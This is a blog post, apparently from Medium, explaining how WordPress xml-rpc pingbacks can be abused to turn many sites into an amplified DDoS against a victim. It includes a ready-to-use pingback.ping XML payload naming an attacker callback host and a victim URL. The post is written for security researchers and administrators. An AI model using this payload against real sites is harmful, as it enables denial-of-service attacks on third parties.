← Back to list

Abusing WordPress XML-RPC Pingbacks for DDoS Amplification

As an ethical hacker, my job isn’t just to break things — it’s to understand how they break, why they break, and how to help fix them…

Hafsa Rehman · 2025-04-22 12:58 · 0 claps · 1.6 min read
#penetration-testing #penetration-testing-guide #wordpress-plugins #wordpress-hacking #xmlrpc
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity 📰 · Journalism & News

💥Abusing WordPress XML-RPC Pingbacks for DDoS Amplification

As an ethical hacker, my job isn’t just to break things — it’s to understand how they break, why they break, and how to help fix them before someone malicious takes advantage.

Today, let’s dissect an often-overlooked WordPress feature — xmlrpc.php — and how it can be abused through pingbacks to launch large-scale DDoS attacks. This post is for security researchers, blue teams, and WordPress admins looking to secure their environments.

What Is a Pingback?

Pingbacks are part of WordPress’s communication system. When you link to another WordPress blog in your post, your site can notify that other blog with a “pingback” — essentially saying, “Hey! I linked to you!” This notification is processed via a special file: **/xmlrpc.php**.

It was designed for blog interconnectivity. But as it turns out, it can also be abused.

The Vulnerability: XML-RPC Pingback Abuse

The endpoint /xmlrpc.php exposes several remote procedures, including one called pingback.ping. This method can be misused to make the WordPress site send HTTP requests to any server, turning it into a proxy for malicious traffic.

The Vulnerability: XML-RPC Pingback Abuse

The xmlrpc.php endpoint allows methods like pingback.ping, which can be exploited to make the WordPress site act as a proxy. This method accepts two URLs:

  • sourceURL → the page that (allegedly) links to another page
  • targetURL → the destination that received the link (victim)

Here’s the twist: WordPress checks the source URL to see if it links to the target, and if it thinks it does, it sends a pingback request to the target.

How the Exploit Works

  1. The attacker scans for WordPress sites with xmlrpc.php enabled and pingbacks allowed.
  2. They craft an HTTP POST request to one of these sites’ /xmlrpc.php endpoints using the pingback.ping method.
  3. Payload includes:

Exploit Sample (for Responsible Testing Only)

Here’s a sample XML payload you can use in BurpSuite’s Repeater tab:

<?xml version="1.0"?>
<methodCall>
   <methodName>pingback.ping</methodName>
   <params>
      <param><value><string>https://attacker.oastify.com</string></value></param>
      <param><value><string>http://victim.com</string></value></param>
   </params>
</methodCall>
  1. The attacker’s server responds with a fake page containing a forged link to the victim.

  2. WordPress thinks it’s legit and sends an HTTP pingback request to the victim.

  3. This is scaled across hundreds of WordPress sites — all sending requests to the same target. Result? Amplified DDoS.

Ethical Hacking Takeaways

  • This is a classic example of an unintended side-effect of legacy features.
  • Just because something’s “default” doesn’t mean it’s safe.
  • As security researchers, our responsibility is to test — but also to report, disclose, and help secure the ecosystem.

메타데이터
post_id
9a94de77c701
slug
abusing-wordpress-xml-rpc-pingbacks-for-ddos-amplification-9a94de77c701
url
https://medium.com/@hafsarehman776/abusing-wordpress-xml-rpc-pingbacks-for-ddos-amplification-9a94de77c701
canonical_url
https://medium.com/@hafsarehman776/abusing-wordpress-xml-rpc-pingbacks-for-ddos-amplification-9a94de77c701
author_url
https://medium.com/@hafsarehman776
status
ok
fetched_at
2026-07-20 05:33:31